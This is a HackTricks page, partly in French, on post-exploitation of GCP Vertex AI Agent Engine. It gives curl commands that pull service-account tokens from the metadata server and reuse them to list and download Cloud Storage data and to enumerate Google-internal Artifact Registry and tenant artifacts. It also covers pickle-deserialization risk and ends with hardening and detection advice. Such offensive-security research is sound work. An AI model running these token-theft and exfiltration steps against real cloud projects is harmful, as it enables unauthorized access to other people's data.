GCP - Vertex AI Post Exploitation

Tip

Apprenez & pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Soutenez HackTricks

Vertex AI Agent Engine / Reasoning Engine

This page focuses on Vertex AI Agent Engine / Reasoning Engine workloads that run attacker-controlled tools or code inside a Google-managed runtime.

For the general Vertex AI overview check:

GCP - Vertex AI Enum

For classic Vertex AI privesc paths using custom jobs, models, and endpoints check:

GCP - Vertex AI Privesc

Why this service is special

Agent Engine introduces a useful but dangerous pattern: developer-supplied code running inside a managed Google runtime with a Google-managed identity.

The interesting trust boundaries are:

  • Consumer project: your project and your data.
  • Producer project: Google-managed project operating the backend service.
  • Tenant project: Google-managed project dedicated to the deployed agent instance.

According to Google’s Vertex AI IAM documentation, Vertex AI resources can use Vertex AI service agents as resource identities, and those service agents can have read-only access to all Cloud Storage resources and BigQuery data in the project by default. If code running inside Agent Engine can steal the runtime credentials, that default access becomes immediately interesting.

Main abuse path

  1. Deploy or modify an agent so attacker-controlled tool code executes inside the managed runtime.
  2. Query the metadata server to recover project identity, service account identity, OAuth scopes, and access tokens.
  3. Reuse the stolen token as the Vertex AI Reasoning Engine P4SA / service agent.
  4. Pivot into the consumer project and read project-wide storage data allowed by the service agent.
  5. Pivot into the producer and tenant environments reachable by the same identity.
  6. Enumerate internal Artifact Registry packages and extract tenant deployment artifacts such as Dockerfile.zip, requirements.txt, and code.pkl.

This is not just a “run code in your own agent” issue. The key problem is the combination of:

  • metadata-accessible credentials
  • broad default service-agent privileges
  • wide OAuth scopes
  • multi-project trust boundaries hidden behind one managed service

Enumeration

Identify Agent Engine resources

The resource name format used by Agent Engine is:

projects/<project-id>/locations/<location>/reasoningEngines/<reasoning-engine-id>

Si vous avez un token avec un accÚs à Vertex AI, énumérez directement le Reasoning Engine API:

PROJECT_ID=<project-id>
LOCATION=<location>

curl -s \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
"https://${LOCATION}-aiplatform.googleapis.com/v1/projects/${PROJECT_ID}/locations/${LOCATION}/reasoningEngines"

VĂ©rifiez les logs de dĂ©ploiement car ils peuvent leak chemins internes du producteur Artifact Registry utilisĂ©s lors de l’empaquetage ou du dĂ©marrage du runtime :

gcloud logging read \
'textPayload:("pkg.dev" OR "reasoning-engine") OR jsonPayload:("pkg.dev" OR "reasoning-engine")' \
--project <project-id> \
--limit 50 \
--format json

Les chercheurs de Unit 42 ont observé des chemins internes tels que :

us-docker.pkg.dev/cloud-aiplatform-private/reasoning-engine
us-docker.pkg.dev/cloud-aiplatform-private/llm-extension/reasoning-engine-py310:prod

Metadata credential theft from the runtime

Si vous pouvez exĂ©cuter du code Ă  l’intĂ©rieur du runtime de l’agent, interrogez d’abord le service de mĂ©tadonnĂ©es :

curl -H 'Metadata-Flavor: Google' \
'http://metadata.google.internal/computeMetadata/v1/instance/?recursive=true'

Les champs intéressants incluent :

  • identifiants de projet
  • le service account / service agent attachĂ©
  • les OAuth scopes disponibles pour le runtime

Ensuite, demandez un token pour l’identitĂ© attachĂ©e :

curl -H 'Metadata-Flavor: Google' \
'http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token'

Validez le token et inspectez les scopes accordés:

TOKEN="$(curl -s -H 'Metadata-Flavor: Google' \
'http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token' | jq -r .access_token)"

curl -s \
-H 'Content-Type: application/x-www-form-urlencoded' \
-d "access_token=${TOKEN}" \
https://www.googleapis.com/oauth2/v1/tokeninfo

Warning

Google a modifiĂ© des parties du workflow de dĂ©ploiement de l’ADK aprĂšs la publication de la recherche, donc d’anciens extraits de dĂ©ploiement exacts peuvent ne plus correspondre au SDK actuel. Le principe fondamental reste le mĂȘme : si du code contrĂŽlĂ© par un attaquant s’exĂ©cute Ă  l’intĂ©rieur du Agent Engine runtime, les identifiants dĂ©rivĂ©s des mĂ©tadonnĂ©es deviennent accessibles Ă  moins que des contrĂŽles supplĂ©mentaires ne bloquent ce chemin.

Pivot depuis le projet consommateur : vol de données du service-agent

Une fois le runtime token volĂ©, testez l’accĂšs effectif du service agent au projet consommateur.

La capacité par défaut documentée et risquée est un large accÚs en lecture aux données du projet. La recherche Unit 42 a spécifiquement validé :

  • storage.buckets.get
  • storage.buckets.list
  • storage.objects.get
  • storage.objects.list

Validation pratique avec le token volé:

curl -s \
-H "Authorization: Bearer ${TOKEN}" \
"https://storage.googleapis.com/storage/v1/b?project=<project-id>"

curl -s \
-H "Authorization: Bearer ${TOKEN}" \
"https://storage.googleapis.com/storage/v1/b/<bucket-name>/o"

curl -s \
-H "Authorization: Bearer ${TOKEN}" \
"https://storage.googleapis.com/storage/v1/b/<bucket-name>/o/<url-encoded-object>?alt=media"

Cela transforme un agent compromis ou malveillant en une primitive d’exfiltration de stockage Ă  l’échelle du projet.

Producer-project pivot: accĂšs interne Ă  Artifact Registry

La mĂȘme identitĂ© volĂ©e peut aussi fonctionner contre Google-managed producer resources.

Commencez par tester les URIs des dĂ©pĂŽts internes rĂ©cupĂ©rĂ©s dans les logs. Ensuite, Ă©numĂ©rez les packages avec l’Artifact Registry API:

packages_request = artifactregistry_service.projects().locations().repositories().packages().list(
parent=f"projects/{project_id}/locations/{location_id}/repositories/llm-extension"
)
packages_response = packages_request.execute()
packages = packages_response.get("packages", [])

Si vous ne disposez que d’un raw bearer token, appelez directement l’API REST :

curl -s \
-H "Authorization: Bearer ${TOKEN}" \
"https://artifactregistry.googleapis.com/v1/projects/<producer-project>/locations/<location>/repositories/llm-extension/packages"

Cela reste prĂ©cieux mĂȘme si l’accĂšs en Ă©criture est bloquĂ©, car il rĂ©vĂšle :

  • noms d’images internes
  • images dĂ©prĂ©ciĂ©es
  • structure de la chaĂźne d’approvisionnement
  • inventaire des packages/versions pour des recherches ultĂ©rieures

For more Artifact Registry background check:

GCP - Artifact Registry Enum

Pivot sur le projet locataire : récupération des artefacts de déploiement

Les déploiements de Reasoning Engine laissent également des artefacts intéressants dans un projet locataire contrÎlé par Google pour cette instance.

La recherche de Unit 42 a trouvé :

  • Dockerfile.zip
  • code.pkl
  • requirements.txt

Utilisez le token volé pour énumérer le stockage accessible et rechercher les artefacts de déploiement :

curl -s \
-H "Authorization: Bearer ${TOKEN}" \
"https://storage.googleapis.com/storage/v1/b?project=<tenant-project>"

Les artefacts du projet locataire peuvent révéler :

  • noms de buckets internes
  • rĂ©fĂ©rences d’images internes
  • hypothĂšses de packaging
  • listes de dĂ©pendances
  • code d’agent sĂ©rialisĂ©

Le blog a également observé une référence interne comme :

gs://reasoning-engine-restricted/versioned_py/Dockerfile.zip

Even when the referenced restricted bucket is not readable, those leaked paths help map internal infrastructure.

code.pkl and conditional RCE

If the deployment pipeline stores executable agent state in Python pickle format, treat it as a high-risk target.

The immediate issue is confidentialité:

  • la dĂ©sĂ©rialisation hors ligne peut exposer la structure du code
  • the package format leaks implementation details

The bigger issue is conditional RCE:

  • si un attaquant peut altĂ©rer l’artĂ©fact sĂ©rialisĂ© avant la dĂ©sĂ©rialisation cĂŽtĂ© service
  • et le pipeline charge ensuite ce pickle
  • l’exĂ©cution de code arbitraire devient possible Ă  l’intĂ©rieur du runtime gĂ©rĂ©

This is not a standalone exploit by itself. It is a dangerous deserialization sink that becomes critical when combined with any artifact write or supply-chain tampering primitive.

OAuth scopes and Workspace blast radius

La réponse metadata expose également les OAuth scopes attachés au runtime.

If those scopes are broader than the minimum required, a stolen token may become useful against more than GCP APIs. IAM still decides whether the identity is authorized, but broad scopes increase blast radius and make later misconfigurations more dangerous.

If you find Workspace-related scopes, cross-check whether the compromised identity also has a path to Workspace impersonation or delegated access:

GCP <–> Workspace Pivoting

Hardening / detection

Prefer a custom service account over the default managed identity

Current Agent Engine documentation supports setting a custom service account for the deployed agent. That is the cleanest way to reduce blast radius:

  • supprimer la dĂ©pendance Ă  l’agent de service large par dĂ©faut
  • n’accorder que les permissions minimales requises par l’agent
  • rendre l’identitĂ© du runtime auditable et volontairement limitĂ©e

Validate the actual service-agent access

Inspect the effective access of the Vertex AI service agent in every project where Agent Engine is used:

gcloud projects get-iam-policy <project-id> \
--format json | jq '
.bindings[]
| select(any(.members[]?; contains("gcp-sa-aiplatform") or contains("aiplatform-re")))
'

VĂ©rifier si l’identitĂ© associĂ©e peut lire :

  • tous les GCS buckets
  • tous les BigQuery datasets
  • les Artifact Registry repositories
  • secrets ou internal registries accessibles depuis les build/deployment workflows

Traitez agent code comme une exécution de code privilégiée

Tout outil/fonction exĂ©cutĂ© par l’agent doit ĂȘtre examinĂ© comme s’il s’agissait de code s’exĂ©cutant sur une VM ayant accĂšs au metadata. En pratique, cela signifie :

  • vĂ©rifier les outils de l’agent pour tout accĂšs HTTP direct aux metadata endpoints
  • vĂ©rifier les logs pour les rĂ©fĂ©rences aux pkg.dev repositories internes et aux tenant buckets
  • vĂ©rifier tout chemin de packaging qui stocke un Ă©tat exĂ©cutable sous forme de pickle

Références

Tip

Apprenez & pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Soutenez HackTricks